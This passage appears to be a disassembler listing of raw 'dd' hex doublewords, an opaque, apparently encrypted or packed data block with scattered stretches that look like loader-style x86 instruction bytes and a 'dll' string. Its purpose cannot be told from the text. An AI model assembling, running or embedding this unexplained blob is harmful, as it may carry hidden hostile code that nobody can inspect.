387DE68Ch, 0EB098E09h, 749DD9CAh dd 0D0BE0B7Eh, 16A3D8Ch, 7E5449E9h, 809E7398h, 0DD4h, 838F35FBh dd 2632D8A3h, 0CAD67C46h, 6B771DEAh, 101CC28Bh, 0ECB59A0Eh dd 935A3A46h, 3501E1EDh, 0DBA3838Fh, 0C5922935h, 0FBE8EA96h dd 0FC3C47D4h, 3A07AD75h, 0B1F6765Fh, 224C0782h, 8CD13AD1h dd 3D46033Fh, 50D59E39h, 0BF8C32FAh, 0D7A1FF4Eh, 465A2655h dd 6ED7D4FBh, 41AA5018h, 52D49EFCh, 0FB465D23h, 26BD4D4h dd 713EE4ACh, 0BD9DB100h, 0ED9360F3h, 8E59AF20h, 41AA1BE8h dd 62EB2774h, 0A3DD0CBEh, 8ED4FB38h, 0A360F125h, 753D9BEAh dd 68B502CFh, 0CE9B410Ah, 3B4A365Dh, 935CD4FBh, 0E4AF20EDh dd 7907367Bh, 0B8D4FB3Bh, 0B025004Fh, 0DD2A77BCh, 0FB3BD2AEh dd 6208D4D4h, 0B0DF2E97h, 0CAE44D17h, 83A9C12Ah, 2998447Ah dd 0D023654h, 7CD0000h, 0AA755561h, 4E18F804h, 0EFBC9CA8h dd 945D3D49h, 0C8E0E2EEh, 0C18BE87h, 0B3BF652Ch, 556107D3h dd 0FB07AD75h, 18689764h, 19D4FBE8h, 0AD75CE0Eh, 765F3A07h dd 7982B1F6h, 0B8D1384Bh, 9B63434Fh, 498CE9F5h, 8BA2DE23h dd 24CA92EFh, 0D66438F0h, 0A0ED3A87h, 1DD0F71h, 6AB922D5h dd 0D507533Bh, 5095FECAh, 768228F2h, 5926CC96h, 0D6A033FBh dd 89F26330h, 0B8C8F744h, 79CEAEB1h, 11ECC110h, 3463A8C4h dd 0C497C293h, 92D45AEh, 0A386090Ch, 0C6AB0CEh, 9F650000h dd 420DEDF9h, 0E6B0909Ch, 87543440h, 2CF5D5E1h, 70787A86h dd 0A4B0561Fh, 4B57FDC4h, 0EDF99F6Bh, 939F450Dh, 80002FFCh dd 0B1D4FBE7h, 0AD7566A6h, 765F3A07h, 2095EB1Ah, 339CDB4Fh dd 355685CAh, 1CD1384Fh, 9CD8A7B3h, 0E9749ACFh, 54B2014Bh dd 0A92BF689h, 1C5067Ah, 59C22BD5h, 6DB21B8Ch, 499F450Fh dd 9B0CD97Fh, 0B69384Ch, 41E7B043h, 0CD9A0374h, 0D0955391h dd 2A9355BBh, 42B37DDBh, 6C3513E8h, 186C92C6h, 636320F3h dd 0E24B79DFh, 0F8236D79h, 1B4A8FDDh, 0D13848C0h, 0CCFBC831h dd 0D501F8A8h, 0AF7C22EEh, 0C3188951h, 660F6024h, 6BC996FFh dd 0BE2FFCA2h, 0FEF470D6h, 0B5202492h, 0B65B00ADh, 734Ah dd 0AA758800h, 9761BF04h, 64B324F1h, 0C066318Fh, 35C895F3h dd 195EC76Dh, 7E4BF1BBh, 8BE9BE0Dh, 0B10E1AC0h, 0D4034824h dd 0D138543Bh, 0BB95AD16h, 192A9BFh, 0B660E2Ch, 0A3690000h dd 4611F1FDh, 0EAB494A0h, 8B583844h, 30F9D9E5h, 747C7E8Ah dd 0A8B45A23h, 4F5B01C8h, 0F1FDA36Fh, 97A34911h, 7C043300h dd 0B5D4FBE6h, 0AA756AAAh dd 5458F804h, 0E000000h, 4A17AA75h, 216E3BA4h, 150F6C3h dd 78BDAF26h, 384B4E49h, 122A93D1h, 92A9A738h, 9819F74h dd 0C600000Bh, 6E4E5A00h, 11F1FDA3h, 0B595A147h, 563642E8h dd 0D9DBE78Dh, 13B982D7h, 0BA602707h, 5C02CEAEh, 2A87050h dd 63925FF6h, 0D4FBE61Dh, 75C90914h, 0DC3A07ADh, 0FB58114h dd 2368D142h, 0F14C2EE7h, 56A5B085h, 4CAA7181h, 0A011DE84h dd 847FE551h, 0B016C6E2h, 26E19h, 0AB74D200h, 0F2EEB605h dd 3F2DA8C7h, 3ED19CFAh, 9203D076h, 408DDA29h, 20BCC4F3h dd 0C75DB4Fh, 47D18EBDh, 0B720D138h, 3A783672h, 6706A3C7h dd 2381C818h, 56FCC85Bh, 0E2AF1889h, 7F1A6695h, 0AE17D501h dd 0DAC7F645h, 0FBE9A27h, 1461A6C6h, 7B48EEB6h, 4F8CBB0Ah dd 0A2D75302h, 0CA96F439h, 0A7919859h, 88F14EFDh, 4C896439h dd 0F5C26833h, 0A7D61B84h, 0D10A5826h, 1F7DC22Bh, 0C5A5B157h dd 344C7BFDh, 94D4CC6Bh, 0BD9FB484h, 0FD663189h, 0A9287C94h dd 0FFD49266h, 0A13E1h, 50F6BC00h, 0F3996444h, 973D07E7h dd 38DEAB8Bh, 0DD834C2Ch, 78D9CFD1h, 1DFD09AFh, 0C4A4B056h dd 664652F8h, 55ECF89Eh, 0E5275988h, 0FF0AD4FBh, 4AA75BFh dd 0F3795C37h, 4C517FAEh, 9700D122h, 89B80552h, 0D4FBF5F7h dd 5C8CC7D1h, 0EEB95251h, 11D83685h, 0B87F5F6Bh, 6B6A4512h dd 2E8DBC01h, 3CAE4ECh, 0D23BE1ADh, 0C2682F8Dh, 0B0561F7Dh dd 207E4D61h, 462B157h, 7DCA973Dh, 0E97F0130h, 49B2CEAEh dd 41D49CFAh, 0BBC5F476h, 76CEAEE9h, 233BA40Dh, 9844BAC7h dd 757E9C71h, 5A000009h, 2E2EE94h, 0A5859137h, 492935DBh dd 0EACAD67Ch, 6D6F7B21h, 0A74D167Bh, 4EF4BB9Bh, 0F0966242h dd 963C04E4h, 0F726F38Ah, 0D4FBE489h, 0B85D9DA8h, 4F207711h dd 0AC987CDBh, 0B682E027h, 0AE2ADC10h, 0D29E7855h, 3F2DA883h dd 11F0CBFAh, 0D841D138h, 1DE84693h, 0CA2877h, 327F4E5Ah dd 3B6208D4h, 0D5020F45h, 26CC96ECh, 297FE859h, 7EEFBC62h dd 0EB81542Fh, 0B90A77A6h, 0BE27CAF2h, 0D1531B79h, 3300A673h dd 66E59BC2h, 0E34CCEB2h, 67116F9Eh, 0B720CEB2h, 9A62424Eh dd 3794DCF4h, 4B209878h, 8CF2Dh, 943A0000h, 37DDA888h dd 0DB814B2Bh, 7C22EFCFh, 21C79070h, 0BC9D1315h, 61414DF3h dd 8E8F49Ah, 0AA8A963Ch, 99303CE2h, 0E3E39DCCh, 434ED4FBh dd 20D0A403h, 0FEC6DB4Fh, 417D4C58h, 0DB4686D9h, 9BCA0F65h dd 0DB4EF6E5h, 0B994E34Ch, 0F59B631Ch, 94EB728h, 834FE2ABh dd 0D82574DDh, 3844B6A9h, 8DD23BD1h, 6DBC622Fh, 0A875D320h dd 8955B302h, 2BF7D7E3h, 2F5ECF98h, 44E65063h, 2D72DB44h dd 14784FF1h, 0A7F65D18h, 842B4D2h, 0F86A0000h, 0FD4A8FDDh dd 2352D49Fh, 0DB4F205Dh, 0B3026BD4h, 38253F84h, 5D2A88D1h dd 2A79EAB7h, 0D421EE57h, 8642F998h, 5DAC7F62h, 211462Eh dd 0E28850D5h, 4AF0B715h, 0CC785C7Dh, 1185FB2Ah, 43ACD502h dd 44006EDAh, 5B4D8999h, 1482EB6h, 756C0000h, 0D83603A9h dd 76A3A011h, 59A108C0h, 157EE78Dh, 7C22EA48h, 0DF8551AFh dd 8127F3D3h, 6C12DE3Ch, 0ADF2E9Fh, 82C7A72Fh, 4F1BE553h dd 6D33CDBh, 0A04301E5h, 0CF7541D4h, 0F7C32166h, 0C4138451h dd 5E04D0B0h, 1B0A6291h, 0B17CDB4Fh, 1880002Fh, 48B1DB4Fh dd 0ECB412DFh, 2B917946h, 0B69AB339h, 0E98F5B8Eh, 165680DDh dd 0EE4884D1h, 89337126h, 4B3D6CBBh, 7CDB4F03h, 5FAE541Eh dd 7E25588Ch, 60B6A13Ah, 1F88F197h, 872DF452h, 41D49B7Bh dd 5F8ED379h, 0DB4E5021h, 713EA710h, 60A54B13h, 5A7B2524h dd 73C9B865h, 0E2B706ACh, 8467DDC1h, 3C0B17BDh, 0A16E14DEh dd 0BC83E130h, 0A673D116h, 1DCB100h, 245398D4h, 0D1376493h dd 3919258Eh, 0A78B0172h, 1563F5F8h, 0D204DFACh, 0A8B597CFh dd 0CA3334BBh, 0B75D2785h, 0DD2A79EAh, 1C7CEAEh, 2DFA63D5h dd 0C93C280Ch, 0DB175C02h, 5A22651Bh, 4BE480B4h, 0C7A7BB0Ah dd 0B7155A00h, 0A7B48EEh, 5D99E6BBh, 1F0F0370h, 0C895EBD7h dd 0DDF8D322h, 941B4A8Fh, 7DCAEA74h, 0FD390814h, 0B9846BB9h dd 262ADF13h, 0FD4EEC20h, 80A2611h, 0EE945BB9h, 903602E2h dd 0DDF83A84h, 0A01B4A8Fh, 17D13850h, 7C49EFB9h, 0A4E9BC0Bh dd 1F10B75h, 2AD09BD5h, 0C08DF65Fh, 0E5F19762h, 46ECB816h dd 0DFF82FF7h, 1ACD29C6h, 0E773C93h, 0D6621241h, 0B01EDB4Eh dd 83949B4h, 9BF9B016h, 73DB2AD0h, 26h, 4AA75B1h, 20780837h dd 0A66BDB4Fh, 7FC7C06Ah, 54A35067h, 0BE897CE8h, 0D95B0C18h dd 0AADB4EEDh, 0FFFFB994h, 39864AFFh, 4F20760Ah, 0FC52BBDBh dd 0E03E8D33h, 0FEB27218h, 91DFF836h, 0A3F0BFD1h, 5D27845h dd 21136D94h, 0D91EDB4Fh, 4F20D6AAh, 89F25BDBh, 0F9C66C33h dd 6D713988h, 0B31636C5h, 3DF2h, 2F5EAB00h, 0DE4F2051h dd 602877E0h, 0D191DFF8h, 760A3986h, 30DB4F20h, 8DF6C167h dd 57A4F13Eh, 4F205828h, 2170D9DBh, 4F208EF2h, 7A3AA3DBh dd 0AA75BE86h, 0BC844404h, 49B5h, 0DFF86B00h, 3986D191h dd 0C4FF5FFDh, 4F94AB56h, 4E256020h, 1968D1DBh, 4E2596EAh dd 0F8C321DBh, 3F40352h, 0F39960BEh, 9E66B526h, 13DB3986h dd 0A74D176Dh, 521A69DAh, 4404AA75h, 0B55B2886h, 0D92877E8h dd 0BD632E8Ch, 0AB75A66Eh, 9A62C005h, 83D0A5F4h, 64B35925h dd 4F204B35h, 0EB915BDBh, 51F7C01Eh, 0C3816D84h, 5410F40Dh dd 0FC41E7B1h, 622FD59Eh, 0DD8EA2F1h, 0DB4F2EF1h, 0F33EACC2h dd 7562FFFFh, 72BF04AAh, 4F203D43h, 0ED9D8BDBh, 2EDBBCA6h dd 97ABFA63h, 8CD19B3Ah, 3760965Dh, 6E358BD1h, 348AFBC8h dd 175CC56Bh, 74CF2B9h, 13AA8D8h, 0D12089D5h, 6673AFFCh dd 0F3FCB991h, 0C4B0DF2Eh, 0D2D5016Ch, 36946107h, 0D9FAC76Dh dd 1D894FF5h, 384AB5AFh, 0DFB65B8Ah, 7, 1B51Dh, 866B0000h dd 0EDBA6028h, 83522D7Ch, 8675A4E9h, 0ABD13848h, 0B2E68C55h dd 0F9D5738Eh, 1BE85146h, 74CF2BDh, 0B9F58BBAh, 0E63CD501h dd 3AAB781Eh, 0BD6E82D1h, 0D501BB6Eh, 0D3ADDC29h, 5ED501B9h dd 7C48A6F5h, 0B9B5CBFAh, 0D302D501h, 0D501B9ADh, 0E7501B84h dd 0BDEC397Eh, 0D501B9C3h, 0B9BBC5F4h, 0D76D501h, 768AD942h dd 5724CA96h, 563CFE76h, 892FFBEEh, 64D59D7Dh, 1D75D8CAh dd 7FC42DA3h, 0FAC75A21h, 0AD168754h, 1A206FE0h, 0CECC723Ah dd 83784C9h, 0D5021D78h, 2DFA50B9h, 98CC3887h, 0AFF79D65h dd 36D56DEDh, 0E702B096h, 40000000h, 0D4A1DEF8h, 8605C52Eh dd 4F211C57h, 0CDFCC9DBh, 0DB4F20B3h, 20ABD504h, 1D86DB4Fh dd 8A30FC52h, 7AE34CBDh, 67BE86BAh, 0F0BB19E7h, 7533FB4Ah dd 0AFDE2BADh, 0DB4F20D1h, 0B0D0F760h, 81DB4F20h, 2E6AAF18h dd 7EF83627h, 955DACD0h, 0DFF836FEh, 75BFD191h, 1636C56Dh dd 39F2B3h, 0F8300000h, 86D191DFh, 20760A39h, 52BBDB4Fh dd 0F987B603h, 38DB4F20h, 1F492404h, 0A8739EEAh, 70309902h dd 29F94A86h, 76D9746Ah, 7512DA27h, 844404AAh, 26B5BCh dd 0F86B0000h, 104C91DFh, 0F7E06863h, 89C3F79Ch, 5B83FA02h dd 869058A7h, 4F212957h, 1BDBCCDBh, 0AA75BE86h, 0BC844404h dd 0BDEC3986h, 0DB4F20C3h, 0A2DE056Eh, 4DB4F20h, 60C9943Ah dd 0FF1FF311h, 0C624FFFFh, 354B7AFCh, 0FCDB4F20h, 0EC5D2A93h dd 0AD75D59Dh, 2084FC2Bh, 44ADDB4Fh, 0E8B00EDBh, 0D79FFD42h dd 71CEE231h, 94C30864h, 0D1383D37h, 97E4B11Ah, 0FECB7139h dd 4FE82B1h, 0CA33D502h, 91E31261h, 5D50204h, 69C7943Ah dd 1229F69Ch, 4CB83E26h, 7932C1FDh, 3641CB11h, 0C5BC46Ah dd 2939A4A0h, 0CEB65B58h, 4Bh, 8FDDF80Ch, 20681B4Ah, 125FD138h dd 2209DE3h, 95EB1AD5h, 9CD50220h, 0B0FF6833h, 78A774DDh dd 0D50220FCh, 0FD73584h, 0DC2B9C69h, 7909F470h, 9EB65B42h dd 0C9h, 0A5DB0A57h, 8CD5022Ch, 0D1AFDE23h, 60D5022Ch dd 75E0A8F7h, 0DC3A07ADh, 42A06D13h, 0A907D47Ah, 602F3BE1h dd 3C923802h, 5180CF75h, 0DB4F25F7h, 4551F7BFh, 2AF79D65h dd 2CF9864Fh, 9CD81D86h, 8D8ED1F1h, 0ED1C618Dh, 0DB4E2693h dd 99E6359Eh, 3759356Ah, 0E53BCD1h, 7FD085C1h, 3D42F14Fh dd 0DB6A16h, 0CC723CD5h, 35499801h, 2A6FFDD8h, 0F193FDFBh dd 76BB24CAh, 64A94F18h, 45943A06h, 0E2885131h, 797058CAh dd 112F0498h, 224h, 333FE5ABh, 0D6E28853h, 7A862CF6h, 1B27CD9Ah dd 0C0CC723Bh, 9C652ABEh, 430AEAF6h, 0E5B1919Dh, 8B53333Fh dd 7542D9E5h, 0FBDC3A46h, 0ACECF7D4h, 0FA06AC75h, 0A0AC521Ah dd 8FDDF856h, 20681B4Ah, 70D9D138h, 210074A3h, 0CF96D502h dd 20621E4Dh, 66CFD502h, 8D230FDh, 47AD9562h, 0FD6BD71Dh dd 8A57B547h, 172F95E4h, 0C4B65B42h, 0B1h, 7AD7502h, 0C78FED3Ah dd 94E35421h, 0FAC76D36h, 72471ADh, 0FAA054FBh, 3ECC7CABh dd 22EADB4Eh, 0C890707Ch, 0AA085522h, 0FC6D3AE0h, 6903D2ADh dd 66AAF524h, 0DE47D137h, 0C6075D2h, 0B87F98C7h, 9BE8CAF1h dd 0B14F146Ch, 65B41DCEh, 97E42992h, 7CCB7139h, 0A3AF551Eh dd 3C54FAC3h, 98795FC0h, 4D79976Ch, 82000001h, 2A0A16BCh dd 0CDADB95Fh, 71515D03h, 12F2FEA4h, 9597A349h, 0CF753E13h dd 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h, 0D4FBDB61h dd 7585C5D0h, 1AFA06ACh, 2B67AC52h, 6998AE76h, 0DB4E3F17h dd 547DB11Ah, 93A7F692h, 7AD7549h, 0C58FED3Ah, 0AA72D01Fh dd 3A9BF804h, 6FD87E45h, 0EF6EEE2Ah, 0AB4483B5h, 0DBE00F5Ch dd 56D137BDh, 0DAA33600h, 1D62CB34h, 4551F7BFh, 723E3A76h dd 2B8C2325h, 10B67EDCh, 0FAA06DCBh, 26FA86B5h, 0CE37D501h dd 6CFAA7Fh, 98D42166h, 0F1BF208h, 7DACFBD6h, 0CAD47B4Bh dd 0AC521E7Ch, 27483867h, 80E9CEAEh, 0DDF55E31h, 984474A9h dd 8D102E03h, 42000000h, 0EACAD67Ch, 8D6D791Fh, 31111DC3h dd 0D2B2BE64h, 55576309h, 8F35FE53h, 36DCA383h, 0D87E4A2Ah dd 7E24ECCCh, 0DF0EDB72h, 0D4FBDBA1h, 0F8458590h, 1B4A8FDDh dd 0D1224D05h, 69B683ECh, 49983E0Bh, 387D23EBh, 9D6A10DAh dd 8A94D561h, 871BA9Dh, 0FDC5A5B9h, 325B8A57h, 7C13CBB2h dd 0EBB3560Eh, 5556EE7Ah, 6ED79077h, 14BA8262h, 9A1CE947h dd 0CC21156Bh, 4AB31C93h, 0CC785C7Dh, 9FAB5119h, 8451F7BFh dd 366h, 8C541C00h, 3C09AF75h, 0A37016DEh, 6D37945h, 6E3BE1A8h dd 0D4A14710h, 3A07AD76h, 9C690FDCh, 1CE743Eh, 6532D8A3h dd 0E38953E8h, 4C381h, 0BA520000h, 4, 875AD329h, 565C241Ch dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 81243C89h, 4ECh, 243C8900h dd 532BEBBFh, 5FFA8906h, 4EC81h, 24890000h, 24048124h dd 4, 481525Fh, 0FF32F924h, 8478F09h, 455CB850h, 0D0F75FDBh dd 7C7CB42Dh, 68C355Eh, 0E8D10555h, 80954805h, 84729E7h dd 2434FF58h, 4C4815Fh, 8B000000h, 89522414h, 4C281E2h dd 83000000h, 148704C2h, 9AE95C24h, 45FFFA38h, 0B84A16B8h dd 653467Fh, 0C650C503h, 4D26E585h, 25684706h, 0FFCF3817h dd 4D1431B5h, 6858D06h, 0FF064D39h, 8DD88BD0h, 4D00C985h dd 4685006h, 0FF000001h, 0E585C6D3h, 53064D26h, 7F8BF68h dd 31B5FF83h, 8D064D14h, 4D390685h, 89D0FF06h, 5329CC85h dd 0A5BD8306h, 64D21h, 0B840Fh, 9D8B0000h, 64D0A4Dh, 5E9h dd 0BB00h, 680000h, 8D000001h, 5329D0B5h, 0FF535606h, 4D2FB995h dd 0D0B58D06h, 3065329h, 1E9F0h, 804E0000h, 840F5C3Eh dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 29D0858Dh, 0FF500653h dd 5329CC95h, 0E0FF5806h, 1B208236h, 5102FFE4h, 0C789DF8h dd 3896D7F6h, 5666A8F3h, 101F90A2h, 59927AA5h, 5A1E4ECh dd 7BE39FE2h, 4E89E07Fh, 42F2B3E5h, 1EC9874Fh, 1B9026EBh dd 0AFEC33B6h, 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h dd 0A3D25D34h, 310DA9Ah, 2 dup(0) dd 761E9h, 499C6800h, 7AE90653h, 68FFFA37h, 6534A59h, 0FA3770E9h dd 4B0D68FFh, 66E90653h, 68FFFA37h, 6534C3Ah, 0FA375CE9h dd 4CEC68FFh, 52E90653h, 68FFFA37h, 6534DDDh, 0FA3748E9h dd 842AF0FFh, 27CD9878h, 0CB713B1Bh, 6C12DFBFh, 11B78060h dd 0ACED0305h, 51313DE3h, 0F8D8E48Ah, 9A7A862Ch, 89202CD2h dd 0D8F38DBCh, 333ED4FBh, 35B5F3h, 866B0000h, 200F324Ah dd 4E898FF1h, 539A2DBh, 4F9EF26Ch, 0B68329F1h, 0DEEA9058h dd 4E8C472Dh, 360260DBh, 17E34190h, 38966571h, 0BC770071h dd 0A0078AECh, 0F820E837h, 0EC4A8FDDh, 3FB07D23h, 4F04D40Bh dd 0AFFEBA30h, 99C81562h, 0DB4E4CE7h, 6392E14Ah, 0D137803Ch dd 0BA074CB5h, 11AF58Bh, 84D33CD5h, 380462AFh, 554C592h dd 11A9ED6h, 0F074E2D5h, 58447D05h, 0E979B5B6h, 85A636DFh dd 6191F948h, 0CF000002h, 0B65C2886h, 482978E9h, 0BEAE2714h dd 0AE541B79h, 0D42170E1h, 3847BAA5h, 86CE37D1h, 4905033Fh dd 9E426C7Eh, 5A43204Fh, 1FB690D1h, 0C6D9084Dh, 0B106BC3Dh dd 14E18753h, 188154A3h, 0D4A0FE4Bh, 0A1F0612Eh, 185D0FC6h dd 734DE4E9h, 0BF046D00h, 39069961h, 3E1E2A93h, 0FCB8D076h dd 8043FD16h, 5388DABh, 4B110000h, 0EEB999A5h, 925C3C48h dd 3300E0ECh, 0D8A1818Dh, 8C242632h, 505C02CBh, 0F703A970h dd 99A54B17h, 3F4BF1B9h, 0D4ACDBA8h, 5DD4FBD7h, 0AD751252h dd 765F3A07h, 5275B1F6h, 79F93155h, 1F32DD11h, 0ECBB2251h dd 9221509Dh, 15D13778h, 7A47EDB7h, 0DCA94F1Ch, 0E3AC026Bh dd 0B0FF703Dh, 996874DDh, 0D698A95Dh, 3E8D9FA1h, 993C295Dh dd 5F8ED3h, 0F1CAE959h, 82174088h, 57974DC5h, 7AA9EE7Eh dd 2BFE8525h, 0BB9663CCh, 9709871Ah, 36E4147Ah, 745988CDh dd 0DD25B4D3h, 3B63CA9h, 5AC34187h, 49EFB715h, 44106E3Dh dd 1160D19Eh, 2D45EBB3h, 253CC441h, 7BF816EBh, 0CE000004h dd 76566208h, 19F905ABh, 0BD9DA94Fh, 5E3E4AF0h, 0E1E3EF95h dd 1BC18ACFh, 0C2682F0Fh, 640AD6B6h, 0AB07858h, 6B9A67FEh dd 0D4FBD715h, 75D1111Ch, 5F3A07ADh, 75B1F676h, 6A18044Bh dd 2471C0F2h, 377ACAF5h, 471167D1h, 4AEA96C5h, 0DE47D501h dd 2C5BA875h, 0D5014A54h, 0A20B74DDh, 0B436FF5Dh, 14AFB85h dd 64CD36D5h, 0D4320115h, 28588709h, 9D5014Bh, 0F96A37A0h dd 4AFB85B4h, 0CD36D501h, 3A32A37Eh, 9452C6F5h, 268FCAD4h dd 15BB83E1h, 0BB612909h, 7B43A1EEh, 489708D5h, 0BF04686Dh dd 972A0790h, 5971DAC4h, 860AEDA7h, 0C71A380Dh, 82000003h dd 2A0A16BCh, 0CDADB95Fh, 71515D03h, 12F2FEA4h, 9597A349h dd 0CF753E13h, 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h dd 0D4FBD561h, 8685C5D0h, 20760A39h, 52BBDB4Fh, 4ADDA503h dd 8026EE81h, 0CD942B3h, 0D87E459Bh, 64319A0Bh, 0B32DB17h dd 4EC0FC4Dh, 0BBB124FFh, 3F244776h, 0A8EDD137h, 1280779h dd 0DD42AD5h, 0C0299A67h, 0E7B41257h, 4B167441h, 1AE63CA5h dd 0E736A774h, 1AD33D3h, 6640000h, 8048973Dh, 0D5AABF2h dd 4F20A2DEh, 0D7268FDBh, 0DCA6D9FCh, 5988CD36h, 0D1384806h dd 0A0461371h, 401362D3h, 2AD09DFBh, 1FA7D03h, 0F54BB4D5h dd 47B8852Bh, 0C76D96DEh, 52BFBAF3h, 0A235FC83h, 0FFCC35DBh dd 82E0258Eh, 0B65C27BAh, 0E244804Dh, 64325DC9h, 1764B31Ch dd 0AE0B33E8h, 1DE644D5h, 0F2F64377h, 1D0D0D69h, 0B6C7FBCEh dd 0B899A961h, 0E5B2891h, 0EF3EE4B0h, 66ABC114h, 649E9637h dd 0C5F441CFh, 0D326B2BBh, 0EBBE0D76h, 17DF3D82h, 0E0129FA6h dd 71DA4774h, 17BD8565h, 0CCC807FFh, 0B6D4A99Ch, 29Ah dd 3743E9AFh, 0DAE68C57h, 7E8A30FAh, 1F2BD19Eh, 0C4D0763Fh dd 0A0692EC2h, 470EEEFAh, 0E9B595A1h, 8F573743h, 7946DDE9h dd 0FBD4364Ah, 0B0F0FBD4h, 0EDE94A86h, 8B4B9F5Ah, 7016DE3Ch dd 5F0DC8A3h, 10C8EB1Ah, 0F059D138h, 5C3981E4h, 7FAEF379h dd 0CAEADDE0h, 563A811h, 874DC839h, 0EA6A20D2h, 9BE23281h dd 2CF753Dh, 6532D8A4h, 0D3C8BF4h, 9D12EB50h, 5B01C927h dd 0F3CE1D8Eh, 16458AE2h, 35BC2605h, 0DBB683ECh, 17BD85FAh dd 933A69AEh, 0BE2F7384h, 0EAB21055h, 2D693844h, 0B30CC757h dd 0CE2C7B82h, 44486006h, 0E83CFDADh, 1E8F513h, 9B610000h dd 3E09E9F5h, 0E2AC8C98h, 8350303Ch, 28F1D1DDh, 7C747682h dd 0A0AC521Bh, 4753F9C0h, 0E9F59B67h, 8F9B4109h, 84FC2BF8h dd 0ADD4FBD4h, 0AD7562A2h, 765F3A07h, 2864B1F6h, 90AF2374h dd 204F9EB9h, 0D137639Fh, 9AC5E92h, 81AAADD3h, 0F8C20C18h dd 1B4A8FDDh, 0D1226A03h, 44085EEh, 7DFFAF84h, 1562B1E9h dd 0F89E6AC8h, 0DD834BA9h, 0B829F1D1h, 9F86CFB9h, 0F7266BB9h dd 0D4FB3189h, 91D63FA8h, 72C16733h, 5913C29Dh, 48EEB614h dd 6EBB0A7Bh, 0CE79513Fh, 529700CAh, 41862CF4h, 196A2A05h dd 186EF87Ch, 465AA94Fh, 0ED1C9E66h, 0CEA76893h, 0E1F08235h dd 10DB6273h, 0DF8551A7h, 0F338A112h, 5926CC95h, 77C499E8h dd 0DC85FB2Ah, 43ACCEA7h, 0B0BC19F4h, 4B3C6Bh, 0C2F6C491h dd 0B2FECE85h, 0DBF35C34h, 8610D247h, 0F77E9C71h, 52000000h dd 0FADAE68Ch, 9D7D892Fh, 41212DD3h, 0E2C2CE74h, 65677319h dd 9F450E43h, 46ECB393h, 0E88E5A3Ah, 8E34FCDCh, 0EF1EEB82h dd 0D4FBD391h, 865595A0h, 20760A39h, 52BBDB4Fh, 0BF8C32FCh dd 0B124FF4Eh, 953A76BBh, 0DE8DEE80h, 0D60552A1h, 0D121B850h dd 17B7FB37h, 3BF7F388h, 0E3B019ECh, 0C66C3896h, 0AB511977h dd 9B410866h, 9058384Ch, 0B15C8E1Fh, 95FEA4ECh, 0B4B899C8h dd 0A7F6CFE0h, 330E7F49h, 841D2CD0h, 975C42Dh, 4DE0A85Bh dd 6975DE84h, 2733C9Ah, 828DCD96h, 1463CCD4h, 7B48EEB6h dd 0F1BD501Dh, 0A40D7E4Bh, 6DC5235Fh, 7565B97Eh, 0E3B0561Fh dd 2D4E2372h, 0BDF91B49h, 0FADE8881h, 47A5F403h, 90190E7Fh dd 3EB41F2Ah, 8F00CD73h, 6006D026h, 0CF1CEBF7h, 0DD04AA71h dd 0CFB84EA3h, 114F5A8Eh, 5612B8F0h, 78409EEDh, 3E705D2h dd 9D000000h, 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh dd 52E86532h, 0C281E289h, 4, 4BB53h, 0DA290000h, 2414875Bh dd 0E389535Ch, 4C381h, 0EB830000h, 241C8704h, 242C895Ch dd 110F68h, 24048900h, 4F956857h, 815F249Eh, 99635AE7h dd 95BA5212h, 29FA44FAh, 0FD895AD7h, 41C9685Fh, 24890000h dd 24048124h, 4, 8B95158h, 1000000h, 8B2989C1h, 0C481240Ch dd 4, 5624048Bh, 0C681E689h, 4, 4C681h, 34870000h, 2C8B5C24h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA302CE9h dd 2C8927FFh, 0F943C7CCh, 0F9B8899Bh, 306534Eh, 0E9E0FFC5h dd 852BD563h, 14672CD1h, 0F66009BCh, 0F7268A03h, 0EB7AD8ACh dd 1E048855h, 3869A904h, 0E828D1EBh, 13h, 0EAF50205h, 0DC89777Bh dd 0A0B30308h, 0B9D8B27Dh, 668381F9h, 585EE1BEh, 0D04CF1B9h dd 82C0815Bh, 0F5000072h, 0BAh, 101C8B00h, 0FCC381F9h dd 515AAF6Ch, 0B0C38159h, 0F4BF41Dh, 983h, 38C0F00h, 0F000000h dd 0EB81F1B7h, 66934B02h, 6860F60h, 0F000000h, 86h, 0D88B6600h dd 48F5361h, 8F0F5610h, 1 dd 12E85FF8h, 0D1000000h, 0D49B9EAEh, 1D6DE361h, 0EA924018h dd 28516132h, 2890F6Ah, 50000000h, 0EA835E5Fh, 814A4A02h dd 24EE48E7h, 48FA8108h, 0FFFFF8Eh, 1385h, 0F78B6600h dd 21E9h, 0C345F100h, 74AF2D24h, 0CA4EFE3Eh, 0FFFF6CE9h dd 35BB89FFh, 0EA9E6FFFh, 189DC2D6h, 6CE064C0h, 4EB9FBDh dd 279ABA64h, 526E9h, 0B0561C00h, 53F9C4A4h, 0F79D6747h dd 983E0BEBh, 3DE3AC8Ch, 0D8B92F31h, 7D5D690Fh, 240410B6h dd 0C6A6B258h, 0B54C58FEh, 0D0C7B9E8h, 5F6AD4FBh, 1AAD751Fh dd 7EDCA94Fh, 0CE3F0CB2h, 0D12FFC65h, 0F1AD9708h, 4C13A2B6h dd 75409EE3h, 429102CFh, 0E0864E2Eh, 47EDB513h, 0B1E02D7Ah dd 0DB4EACCFh, 9A670DD7h, 0A6F55E29h, 0AD77D48h, 0CB3E2694h dd 71515D03h, 13F3FFA5h, 87D4A147h, 0AC750B3Ah, 53BCDB4Eh dd 39DFA604h, 0FD674B6Ch, 8C983E0Ah, 713EE4ACh, 4EAC3142h dd 97CDB3DBh, 1636DA6Ch, 7D01B0h, 753F0000h, 0B3A07ADh dd 0DB4F2077h, 0F2BF652Fh, 5522C894h, 0DE145034h, 0A274F0D6h dd 21E97C44h, 0D43DAE7Bh, 42071F85h, 71CFB016h, 0A34914A7h dd 0ADFC6D3Ah, 145h, 0AA758300h, 0ED93704h, 703D9B68h dd 0D59FFDCAh, 3C04622Fh, 0CF754096h, 47FDE102h, 8FB52391h dd 0B220915Ch, 247BCDADh, 8F5E6AD3h, 7319E442h, 4EB4344Ch dd 4594FDDBh, 6D791FE7h, 5E22519Eh, 0D3DB4EB4h, 75531B6Ah dd 85C106ACh, 